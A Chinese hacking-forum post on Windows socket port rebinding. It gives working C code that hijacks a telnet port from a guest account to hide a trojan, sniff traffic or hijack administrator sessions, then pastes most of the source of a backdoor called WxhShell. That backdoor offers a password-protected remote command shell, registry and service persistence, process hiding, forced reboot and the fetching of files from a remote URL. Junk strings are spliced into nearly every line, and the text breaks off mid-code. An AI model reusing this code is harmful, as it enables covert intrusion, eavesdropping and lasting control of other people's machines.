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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -Y=c g;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $pfe2(8  
$Ds]\j*  
  saddr.sin_family = AF_INET; 8.Ef5-m  
?gwbg*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m=\eL~ h  
%]0U60  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SP7g qM  
"tB"j9Jb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sLa)~To  
L*01l"5  
  这意味着什么?意味着可以进行如下的攻击: l;}7A,u  
wT~;tOw~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,DuZMGg  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,XG|oo -  
M(zY[O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q4GW=@eD  
DgT.Lku?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $;i$k2n:  
]a!; `m$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T:%wX9W  
Xb@z7X#O!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FP9<E93br  
g~hk-nXL.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8+|V!q   
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  #include *DC Nu{6  
  #include FR,#s^kF  
  #include sx<+ *Trl  
  #include    <<On*#80w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0S:!Gv +  
  int main() a^\- }4yR  
  { ~q?"w:@;x  
  WORD wVersionRequested; G'?f!fz;  
  DWORD ret; 7cmr *y  
  WSADATA wsaData; _HHJw""j  
  BOOL val; VWA-?%r  
  SOCKADDR_IN saddr; 2PP-0 E  
  SOCKADDR_IN scaddr; ok%a|Zz+]  
  int err; ooU Sb  
  SOCKET s; dbT^9: Q  
  SOCKET sc; @z$pPo0fW  
  int caddsize; tct 5*.|  
  HANDLE mt; =PKt09b^  
  DWORD tid;   <x0uO  
  wVersionRequested = MAKEWORD( 2, 2 ); zGL<m0C  
  err = WSAStartup( wVersionRequested, &wsaData ); 2mG&@E  
  if ( err != 0 ) { iWN.3|r  
  printf("error!WSAStartup failed!\n"); $:u7Dv}\  
  return -1; E0)mI)RW.  
  } ),p]n  
  saddr.sin_family = AF_INET; f-v ND'@  
   @t; O"q'|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?9zoQ[  
 sx(l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z^!A/a[[!  
  saddr.sin_port = htons(23); fyg~KF}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &pMlt7  
  { snTJe[^d  
  printf("error!socket failed!\n"); ~b$z\|Y  
  return -1; xL39>PB  
  } A.$VM#  
  val = TRUE; RZ)vU'@kx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1f@U :<:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uWR,6\_jY  
  { HDSA]{:sl  
  printf("error!setsockopt failed!\n"); z@%/r~?|  
  return -1; ~Miin   
  } 34m']n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q9eYF-+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m['v3m:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 01-\:[{  
q(&^9"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _]=TFz2O  
  { cEdz;kbUM  
  ret=GetLastError(); *<.WL"Qhl  
  printf("error!bind failed!\n"); Yn$>QS 4  
  return -1; SD|4ybK>d  
  } c5iormb"#  
  listen(s,2); m.HX2(&\3  
  while(1) VO @ 4A6  
  { 3<jAp#bE  
  caddsize = sizeof(scaddr); C6D=>%uY  
  //接受连接请求 liCCc;&B;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RQ*|+ ~H  
  if(sc!=INVALID_SOCKET) !4 4mT'Y  
  { #.MIW*==  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L.T gJv43  
  if(mt==NULL) ?HEtrX,q  
  {  J:~[ j  
  printf("Thread Creat Failed!\n"); p-Rm,xyL%  
  break; -VreBKn  
  } 3lLW'g&=  
  } O{")i;v @  
  CloseHandle(mt); y?Hj %,  
  } w8ZHk?:  
  closesocket(s); Y>78h2AU  
  WSACleanup(); BYr_Lz|T  
  return 0; J:g<RZZ1  
  }   Z/NGv  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1C}pv{0:&  
  { A"\P&kqMV  
  SOCKET ss = (SOCKET)lpParam; f74%YY  
  SOCKET sc; ~ C/Yv&58  
  unsigned char buf[4096]; e_I; y  
  SOCKADDR_IN saddr; 0uVk$\:i  
  long num; r3[t<xlFf  
  DWORD val; r}_Lb.1]  
  DWORD ret; ;l/}Or2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .y %pGi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M 9(ez7Z  
  saddr.sin_family = AF_INET; "o^bN 9=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [D<RV3x9  
  saddr.sin_port = htons(23); 'B:Z=0{>N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ ,; ;u:-  
  { ~{1/*&P  
  printf("error!socket failed!\n"); NK  
  return -1; 8m/FKO (r  
  } S{^6iR  
  val = 100; 0$xK   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B91S h`  
  { Pp1zW3+Q  
  ret = GetLastError(); 1EC-e|M.  
  return -1; `uIx/.L  
  } pPiYPfs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TZ&4  
  { n=<NFkeX  
  ret = GetLastError(); ^MWEfPt  
  return -1; "t (1tWO1o  
  } ! F0rd9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _KSfP7VU  
  { !q~X*ZKse  
  printf("error!socket connect failed!\n"); BB2_J=wA  
  closesocket(sc); * 1 |YLy  
  closesocket(ss); x38SSzG:L  
  return -1; p|&ZJ@3  
  } vHs>ba$"  
  while(1) ]+}ZfHp  
  { ]~j_N^oZ1X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pr62:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (*Gi~?-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }j+~'O4m  
  num = recv(ss,buf,4096,0); qy7hkq.uX  
  if(num>0) fbh6Ls/  
  send(sc,buf,num,0); olD@W UB  
  else if(num==0) l?[{?Luq  
  break; f p v= P  
  num = recv(sc,buf,4096,0); JYZ2k=zh  
  if(num>0) 7>nhIp))  
  send(ss,buf,num,0); +8LM~voB  
  else if(num==0) ,~?A,9?%:  
  break; J- t=1  
  } eVqM=%Q  
  closesocket(ss); JDC=J(B  
  closesocket(sc); nwa\Lrh  
  return 0 ; ;yk9(wea}"  
  } @wd!&%yzO  
E/"YId `A  
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========================================================== Ez zTJ>  
2x-'>i_|g  
下边附上一个代码,,WXhSHELL a~8:rW^  
/_NkB$&  
========================================================== fkdf~Vb  
33=Mm/<m$P  
#include "stdafx.h" x2 w8zT6M  
<MPeh&_3#  
#include <stdio.h> f|- m ^/y  
#include <string.h> /HB+ami,  
#include <windows.h> (\Rwf}gyR  
#include <winsock2.h> C/mg46 v2W  
#include <winsvc.h> @MNl*~'$.[  
#include <urlmon.h> [MV`pF)x  
D3<IuWeM  
#pragma comment (lib, "Ws2_32.lib") >}ro[x`K  
#pragma comment (lib, "urlmon.lib") 9 b?i G  
[Xxw]C6\>(  
#define MAX_USER   100 // 最大客户端连接数 ^7i^ \w0  
#define BUF_SOCK   200 // sock buffer $cRcap  
#define KEY_BUFF   255 // 输入 buffer [Z#+gh  
Of1IdE6~  
#define REBOOT     0   // 重启 pBlRd{#fL  
#define SHUTDOWN   1   // 关机 (3e;"'k  
 5Waw?1GL  
#define DEF_PORT   5000 // 监听端口 Wr]O  
4a\n4KO X  
#define REG_LEN     16   // 注册表键长度 xCR; K]!  
#define SVC_LEN     80   // NT服务名长度 ]XmQ]Yit  
whV&qe;sw  
// 从dll定义API gsW=3m&`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z 6 tE{/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?RZq =5Um&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k%{ l4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9uuta4&uI  
i?ZA x4D  
// wxhshell配置信息 oR-O~_) U  
struct WSCFG { /0Z|+L9Jo  
  int ws_port;         // 监听端口 zl0;84:H  
  char ws_passstr[REG_LEN]; // 口令 t[%x}0FP-F  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Ku\l #B  
  char ws_regname[REG_LEN]; // 注册表键名 ~RcNZ\2y  
  char ws_svcname[REG_LEN]; // 服务名 VT'0DQ!NIq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o^6jyb!j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4uFIpS|rq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Z_t%J5QZ$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4BHtR017r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L30>| g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uZ@-e|qto  
ksTzXG8  
}; .6\T`6H=a  
7*+Km'=M  
// default Wxhshell configuration YkSuwx@5_q  
struct WSCFG wscfg={DEF_PORT, ZH\0=l)  
    "xuhuanlingzhe", @/9>=#4c  
    1, 3.(.*>  
    "Wxhshell", Hr(6TLNw  
    "Wxhshell", | @uq()  
            "WxhShell Service", DYc.to-  
    "Wrsky Windows CmdShell Service", I%SuT7"Do  
    "Please Input Your Password: ", I4rV5;f H4  
  1, ojX%RU  
  "http://www.wrsky.com/wxhshell.exe", NPS .6qY  
  "Wxhshell.exe" yb69Q#V2  
    }; k69kv9v@J  
~D*b3K 8X  
// 消息定义模块 <'W=]IAV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ldK>HxM%Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _Q> "\_,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }6<)yW}U  
char *msg_ws_ext="\n\rExit."; p=2zS.  
char *msg_ws_end="\n\rQuit."; {W-5:~?"  
char *msg_ws_boot="\n\rReboot..."; Dh2#$[/@1  
char *msg_ws_poff="\n\rShutdown..."; 3Hs$]nQ_X  
char *msg_ws_down="\n\rSave to "; kzMa+(fu  
YbzM6u2  
char *msg_ws_err="\n\rErr!"; \$j^_C>  
char *msg_ws_ok="\n\rOK!"; pG(Fz0b{  
UIQQ \,3  
char ExeFile[MAX_PATH]; ~ W@X-  
int nUser = 0; :]yg  
HANDLE handles[MAX_USER]; `Uv)Sf{  
int OsIsNt; DTPay1]6  
8}bZ [  
SERVICE_STATUS       serviceStatus;  -H`\? R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \N?7WQ  
FtN}]@F  
// 函数声明 5!t b$p#z  
int Install(void); 10?qjjb&  
int Uninstall(void); !z?0 :Jg  
int DownloadFile(char *sURL, SOCKET wsh); .x EJaID\N  
int Boot(int flag); `-o5&>'nf  
void HideProc(void); {>/)5 AGs  
int GetOsVer(void); F,Q?s9s  
int Wxhshell(SOCKET wsl); R'L?Xn}3  
void TalkWithClient(void *cs); {H+?z<BF<  
int CmdShell(SOCKET sock); J,RDTXqn  
int StartFromService(void); !I~C0u  
int StartWxhshell(LPSTR lpCmdLine); n3'dLJH|  
lw s(/a*c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {$0&R$v3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Qcir&]C>  
]Dh1~k.Kp  
// 数据结构和表定义 te)n{K",  
SERVICE_TABLE_ENTRY DispatchTable[] = 8`*`nQhWa  
{ \2j|=S6  
{wscfg.ws_svcname, NTServiceMain}, wra byRjK  
{NULL, NULL} 6ga5^6W  
}; T(JuL<PB  
$6# lTYN~  
// 自我安装 Rnr#$C%  
int Install(void) +ZclGchw  
{ "?P[9x}  
  char svExeFile[MAX_PATH]; L@nebT;\'  
  HKEY key; {M [~E|@D  
  strcpy(svExeFile,ExeFile); ^Z#@3 =  
:&9TW]*g  
// 如果是win9x系统,修改注册表设为自启动 Ge^Qar  
if(!OsIsNt) { ~H u"yAR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f|#8qiUS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fom>'g*  
  RegCloseKey(key); Z["BgEJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pr`s0J%m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \"'\MA  
  RegCloseKey(key); z{|LQt6q  
  return 0; >ukQ, CE~  
    } (')(d HHW  
  } 8aZ$5^z  
} Pxqiv9D<R  
else { =-Nsc1&  
;\x~'@  
// 如果是NT以上系统,安装为系统服务 wdwp9r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L7}i q0  
if (schSCManager!=0) nVXg,Jl  
{ :Jk33 N4y0  
  SC_HANDLE schService = CreateService 7TpRCq#  
  ( &wjB{%  
  schSCManager, [x5mPjgw  
  wscfg.ws_svcname, ZE rdt:w  
  wscfg.ws_svcdisp, CU$)QH{  
  SERVICE_ALL_ACCESS, #9\THfb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q$T8bh,2  
  SERVICE_AUTO_START, 4sIX O  
  SERVICE_ERROR_NORMAL, Gm A!Mo  
  svExeFile, i4<BDX5  
  NULL, *T1~)z}j<  
  NULL, y(}Eko4u5  
  NULL, \2 >?6zs  
  NULL, nvt$F%+  
  NULL k;Hnu  
  ); 4H-j .|e  
  if (schService!=0) kYlg4 .~M  
  { oRq3 pO}f  
  CloseServiceHandle(schService); .,M;huRg  
  CloseServiceHandle(schSCManager); _*E!gPO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #ib^Kg  
  strcat(svExeFile,wscfg.ws_svcname); c+2sT3).D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a+Ab]m8`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 63M=,0-Qt  
  RegCloseKey(key); DsGI/c  
  return 0; %i"}x/CD[  
    } EnJ!mr  
  } =EpJZt  
  CloseServiceHandle(schSCManager); 0hwj\{"  
} |dk[cX>  
} 8W -@N  
1 i3k  
return 1; xA #H0?a]  
} k':s =IXW  
>f$NzJ}  
// 自我卸载 9Ejyg*  
int Uninstall(void) ]Ik%#l.G_  
{ /_*>d)  
  HKEY key; wa ky<w,  
6/1$< !WH  
if(!OsIsNt) { R ]P;sk5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >1ZJ{se  
  RegDeleteValue(key,wscfg.ws_regname); 6P*O&1hv  
  RegCloseKey(key); sS9%3i/>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TzKK;(GX  
  RegDeleteValue(key,wscfg.ws_regname); wkBL=a  
  RegCloseKey(key); 3?`"  
  return 0; ?WHy0x20  
  } #epy%>  
} <2<87PU  
} mCdgKr|n  
else { d~Mg vh'  
i_ QcC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BJ5}GX!  
if (schSCManager!=0) BQ#L+9%  
{ m@\ZHbq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C-w5KW  
  if (schService!=0) mQr0sI,o]  
  { 8\# ^k#X  
  if(DeleteService(schService)!=0) { 2d`c!  
  CloseServiceHandle(schService); @;Y~frT  
  CloseServiceHandle(schSCManager); _u5dC   
  return 0; cj g.lzY H  
  } .Dw,"VHP  
  CloseServiceHandle(schService); ~xDw*AC-  
  } x_!ZycEa  
  CloseServiceHandle(schSCManager); q3S+Y9L  
} ST;t, D:  
} &&7r+.Y  
Oy_c  
return 1; j@| `f((4  
} Cq\I''~8  
j*3}1L4P  
// 从指定url下载文件 sbS~N*{E  
int DownloadFile(char *sURL, SOCKET wsh) ROdK8*jL  
{ _^\$" nw  
  HRESULT hr; ][7p+IsB  
char seps[]= "/"; F]_cbM{8/  
char *token; a$JLc a  
char *file; \ZH&LPAY  
char myURL[MAX_PATH]; qZ X/@Yxz  
char myFILE[MAX_PATH]; s'u(B]E  
E\th%q,mG  
strcpy(myURL,sURL); X?o( b/F -  
  token=strtok(myURL,seps); o2uj =Gnx  
  while(token!=NULL) z$[C#5+2  
  { >oJkJ$|wU  
    file=token; TH?9< C-C  
  token=strtok(NULL,seps);  +sZUJ  
  } >/^#Drwb!i  
0LL c 1t>}  
GetCurrentDirectory(MAX_PATH,myFILE); c/aup  
strcat(myFILE, "\\"); '{[),*nCn  
strcat(myFILE, file); 2Z/K(J"&J  
  send(wsh,myFILE,strlen(myFILE),0); I1"MPx{  
send(wsh,"...",3,0); <Q5Le dN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =6T 4>rP  
  if(hr==S_OK) Cifd21v4  
return 0; xf,5R9g/  
else W?XizTW  
return 1; 1*Ar{:+ua  
0KvVw rWJ  
} ,1 UZv>}S  
Qa`hR  
// 系统电源模块 ^b-18 ~s  
int Boot(int flag) '&yeQ   
{ jbmTmh1q  
  HANDLE hToken; Y(6Sp'0  
  TOKEN_PRIVILEGES tkp; ..<3%fL3  
XL5Es:"+?S  
  if(OsIsNt) { Q-eCHr)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g,kzQ}_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cAuY4RV  
    tkp.PrivilegeCount = 1; K@:m/Z}|4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HY}j!X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +R.N%_  
if(flag==REBOOT) { {`"#yl6"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lm%GR[tyQ  
  return 0; w4:\N U  
} =f7r69I"  
else { {nMAm/kyj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Es'Um,ku  
  return 0; XFqJ 'R  
} =A!S/;z>  
  } [L~@uAMw:  
  else { K%j&/T j1  
if(flag==REBOOT) { vO@s$qi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K_BPZ5w  
  return 0; ^TFs;|..  
} d- E4~)Qy  
else { 9NpD!A&64<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F%/ h*  
  return 0; m7qqY  
} }5 9U}@xC  
} yL1bS|@  
$u9]yiY.{  
return 1; { T]?o~W  
} =zg:aTMti  
X%{'<baR  
// win9x进程隐藏模块 5OP`c<  
void HideProc(void) Mi7y&~,  
{ (ywo a  
#-# NqX:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qx`~g,wk8  
  if ( hKernel != NULL ) 8im@4A+n`  
  { /VTM 9)u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y 'M#z_.z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B]iP't \~  
    FreeLibrary(hKernel); [rY T  
  } YJF#)TkF  
`,>wC+}  
return; 2#5,MP~r  
} nCxAQ|P?  
"$^0%-  
// 获取操作系统版本 } :?.>#  
int GetOsVer(void) <,1 fkq>,  
{ C;rG]t^%  
  OSVERSIONINFO winfo; l=P'B @,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  _^t-9  
  GetVersionEx(&winfo); {G i h&N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GA3sRFZdQ  
  return 1; =U-r*sGLN  
  else )Hw:E71h2  
  return 0; UWXm?v2j  
} EeQ5vqU  
yJ2B3i@T 4  
// 客户端句柄模块 h{iEZ#  
int Wxhshell(SOCKET wsl) ,/Cq v   
{ A.%CAGU5w  
  SOCKET wsh; B |{I:[  
  struct sockaddr_in client; 3:CO{=`\7B  
  DWORD myID; "HIXm  
% 4 ~l  
  while(nUser<MAX_USER) :`,3h%  
{ ${&5]!E[>D  
  int nSize=sizeof(client); NucM+r1P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +|RB0}hFS-  
  if(wsh==INVALID_SOCKET) return 1; 15H6:_+=0  
b=PVIZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3sm M,fi  
if(handles[nUser]==0) ": ;@Hnb/  
  closesocket(wsh); : mGAt[Cc  
else 7^e +  
  nUser++; 1(dj[3Mt  
  } NeOxpn[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ 17 su')  
JhK/']R  
  return 0; )9j06(<A  
} -pb&-@Hul  
%!j:fJ()  
// 关闭 socket #;tT8[Ewuw  
void CloseIt(SOCKET wsh) woOy*)@  
{ H#d:kilNy  
closesocket(wsh); i8pU|VpA  
nUser--; '3(l-nPiG^  
ExitThread(0); \ZXLX'-  
} pxINw>\Qv  
30cd| S?  
// 客户端请求句柄 &XLD S=j  
void TalkWithClient(void *cs) ?w&SW{ I  
{ /X8 <C=}  
7,$z;Lr0S  
  SOCKET wsh=(SOCKET)cs; 2&(sa0*y  
  char pwd[SVC_LEN]; ?/#}ZZK^  
  char cmd[KEY_BUFF]; quu*xJ;Ci  
char chr[1]; \+PIe7f_  
int i,j; BN_7Ay/k  
5i So8*9}  
  while (nUser < MAX_USER) { (Ye>Cp+]  
[w \?j,  
if(wscfg.ws_passstr) { f|7u_f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T=Z.U$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M^madx6`  
  //ZeroMemory(pwd,KEY_BUFF); _GtBP'iN  
      i=0; # '|'r+  
  while(i<SVC_LEN) { 9ptFG]lZ  
'_0]vupvY  
  // 设置超时 ?(zoTxD  
  fd_set FdRead; Vy)hDa[&  
  struct timeval TimeOut; jFG0`n}I  
  FD_ZERO(&FdRead);  t,%iL  
  FD_SET(wsh,&FdRead); SS.jL)  
  TimeOut.tv_sec=8; Y}R}-+bD/  
  TimeOut.tv_usec=0; xyHejE}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); irBDGT~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g^>#^rLU  
v Y|!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V_^@  
  pwd=chr[0]; ~[PKcEX  
  if(chr[0]==0xd || chr[0]==0xa) { T6 #"8qz<  
  pwd=0; xycH~ ?  
  break; Z+:D)L  
  } [Gr*,nVvB  
  i++; 4/> Our 5  
    } 2s ,8R  
P* #8 ZMA<  
  // 如果是非法用户,关闭 socket J]/}ojW3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <&!]K?Q9i  
} S5=Udd"  
4N? v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I?!rOU= 0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -0HkTY  
u V6g[J  
while(1) { yl]FP@N(  
2YwVU.*>  
  ZeroMemory(cmd,KEY_BUFF); y>VcgLIB  
ekSY~z=/u  
      // 自动支持客户端 telnet标准   i^z`"3#LE  
  j=0; wVK*P -C  
  while(j<KEY_BUFF) { QGnxQ{ko  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3eIr{xs  
  cmd[j]=chr[0]; nY?  
  if(chr[0]==0xa || chr[0]==0xd) { }k$4/7ri  
  cmd[j]=0; wOgE|n  
  break; o,Z{ w"  
  } *iX e^<6v  
  j++; N> Jw  
    } zzpZ19"`1  
^+70<#Xc  
  // 下载文件 3HV%4nZLf  
  if(strstr(cmd,"http://")) { qB6dFl\ (  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qztV,R T  
  if(DownloadFile(cmd,wsh)) > 6CV4 L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3&kQpF  
  else 8|1^|B(l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zi]%Zp  
  } jh ez  
  else { >%b\yl%0  
SqPtWEq@P  
    switch(cmd[0]) { Sq]pQ8  
  jB$SUO`*  
  // 帮助 g;p)n  
  case '?': { {i{xo2<1"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #~ v4caNx  
    break; H. ,;-  
  } h=VqxGC&  
  // 安装 dXvt6kF  
  case 'i': {  ^y.UbI  
    if(Install()) KpZ:Nh$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mS=r(3#  
    else _cqy`p@"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }6zbT-i  
    break; %FkLQ+v/<  
    } Xh3;   
  // 卸载 .#6MQJ]OH  
  case 'r': { 6o&ZIYJ9k  
    if(Uninstall()) oh8L`=>&a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PBqy F  
    else +",S2Qmo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {5Lj8 N5  
    break; 6.Ie\5-a;  
    } @M;(K<%h  
  // 显示 wxhshell 所在路径 [uuj?Rbd  
  case 'p': { s'I)A^i+  
    char svExeFile[MAX_PATH]; 7v~j=Z>  
    strcpy(svExeFile,"\n\r"); 'VnwG  
      strcat(svExeFile,ExeFile); T.&7sbE_  
        send(wsh,svExeFile,strlen(svExeFile),0); XJ\hd,R   
    break; 3fS}:!sQ  
    } mX# "+X|  
  // 重启 %|Qw9sbd  
  case 'b': { Y>6.t"?Q^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $n=lsDnhQ  
    if(Boot(REBOOT)) {")\0|2\x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GlYly5F  
    else { '?Bg;Z'L%  
    closesocket(wsh); )najO *n  
    ExitThread(0); x-m/SI]_N  
    } _2Py\+$  
    break; OKue" p  
    } sRRI3y@  
  // 关机 dbGgD=}o  
  case 'd': { c$M%G)P  
